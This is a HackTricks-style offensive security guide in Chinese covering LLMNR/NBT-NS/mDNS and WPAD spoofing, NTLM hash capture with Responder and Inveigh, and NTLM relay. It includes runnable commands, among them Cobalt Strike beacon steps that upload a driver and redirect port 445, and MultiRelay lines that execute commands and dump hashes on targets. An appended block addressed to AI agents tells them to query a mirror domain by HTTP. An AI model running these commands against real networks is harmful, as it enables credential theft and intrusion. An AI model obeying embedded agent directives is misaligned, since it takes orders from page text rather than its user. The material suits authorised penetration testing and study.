# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## 网络协议

### 本地主机解析协议

* **LLMNR、NBT-NS 和 mDNS**：
* Microsoft 和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。同样，Apple 和 Linux 系统使用 mDNS。
* 由于它们在 UDP 上的未经身份验证的广播特性，这些协议容易受到拦截和伪造的影响。
* [Responder](https://github.com/lgandx/Responder) 可以通过向查询这些协议的主机发送伪造响应来用于冒充服务。
* 可在[此处](/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)找到有关使用 Responder 进行服务冒充的更多信息。

### Web 代理自动发现协议（WPAD）

* WPAD 允许浏览器自动发现代理设置。
* 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来进行发现。
* Responder 可以自动执行 WPAD 攻击，将客户端重定向到恶意的 WPAD 服务器。

### Responder 用于协议毒化

* **Responder** 是一种用于毒化 LLMNR、NBT-NS 和 mDNS 查询的工具，根据查询类型有选择性地进行响应，主要针对 SMB 服务。
* 它预装在 Kali Linux 中，可在 `/etc/responder/Responder.conf` 中进行配置。
* Responder 会在屏幕上显示捕获的哈希值，并将其保存在 `/usr/share/responder/logs` 目录中。
* 它支持 IPv4 和 IPv6。
* 可在[此处](https://github.com/lgandx/Responder-Windows)获取 Responder 的 Windows 版本。

#### 运行 Responder

* 使用默认设置运行 Responder：`responder -I <Interface>`
* 进行更积极的探测（可能会产生副作用）：`responder -I <Interface> -P -r -v`
* 通过技术捕获 NTLMv1 挑战/响应以便更轻松地破解：`responder -I <Interface> --lm --disable-ess`
* 可以通过以下方式激活 WPAD 冒充：`responder -I <Interface> --wpad`
* NetBIOS 请求可以解析为攻击者的 IP，并可以设置身份验证代理：`responder.py -I <interface> -Pv`

### 使用 Responder 进行 DHCP 毒化

* 伪造 DHCP 响应可以永久毒化受害者的路由信息，提供了比 ARP 毒化更隐蔽的替代方案。
* 需要精确了解目标网络的配置。
* 运行攻击：`./Responder.py -I eth0 -Pdv`
* 该方法可以有效地捕获 NTLMv1/2 哈希，但需要小心处理以避免网络中断。

### 使用 Responder 捕获凭据

* Responder 将使用上述协议冒充服务，捕获凭据（通常是 NTLMv2 挑战/响应），当用户尝试对伪造的服务进行身份验证时。
* 可尝试降级到 NetNTLMv1 或禁用 ESS 以便更轻松地破解凭据。

需要强调的是，使用这些技术应该在合法和道德的前提下进行，确保获得适当的授权，避免造成干扰或未经授权的访问。

## Inveigh

Inveigh 是专为 Windows 系统设计的渗透测试人员和红队人员工具。它提供类似于 Responder 的功能，执行伪造和中间人攻击。该工具已从 PowerShell 脚本发展为 C# 二进制文件，主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细的参数和说明可以在[**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters)中找到。

Inveigh 可通过 PowerShell 运行：

```powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```

或者作为C#二进制文件执行：

```bash
Inveigh.exe
```

### NTLM Relay Attack

这种攻击利用SMB身份验证会话访问目标机器，如果成功则授予系统shell。关键先决条件包括：

* 认证用户必须在中继主机上具有本地管理员访问权限。
* SMB签名应该被禁用。

#### 445端口转发和隧道

在直接网络引入不可行的情况下，需要转发和隧道化445端口上的流量。像[**PortBender**](https://github.com/praetorian-inc/PortBender)这样的工具有助于将端口445的流量重定向到另一个端口，在本地管理员访问用于驱动加载时至关重要。

在Cobalt Strike中设置和操作PortBender：

```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```

### NTLM中继攻击的其他工具

* **Metasploit**：设置代理，本地和远程主机详细信息。
* **smbrelayx**：一个用于中继SMB会话并执行命令或部署后门的Python脚本。
* **MultiRelay**：Responder套件中的一个工具，用于中继特定用户或所有用户，执行命令或转储哈希。

每个工具都可以根据需要配置为通过SOCKS代理运行，即使只有间接网络访问也能进行攻击。

### MultiRelay操作

从 ***/usr/share/responder/tools*** 目录执行MultiRelay，针对特定的IP或用户。

```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic
```

### 强制 NTLM 登录

在 Windows 中，**您可能能够强制一些特权帐户对任意机器进行身份验证**。阅读以下页面以了解详情：

{% content-ref url="/pages/4DFfuVV4quMkp6CjmxLf" %}
[Force NTLM Privileged Authentication](/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
{% endcontent-ref %}

## 参考资料

* <https://intrinium.com/smb-relay-attack-tutorial/>
* <https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/>
* <https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/>
* <https://intrinium.com/smb-relay-attack-tutorial/>
* <https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
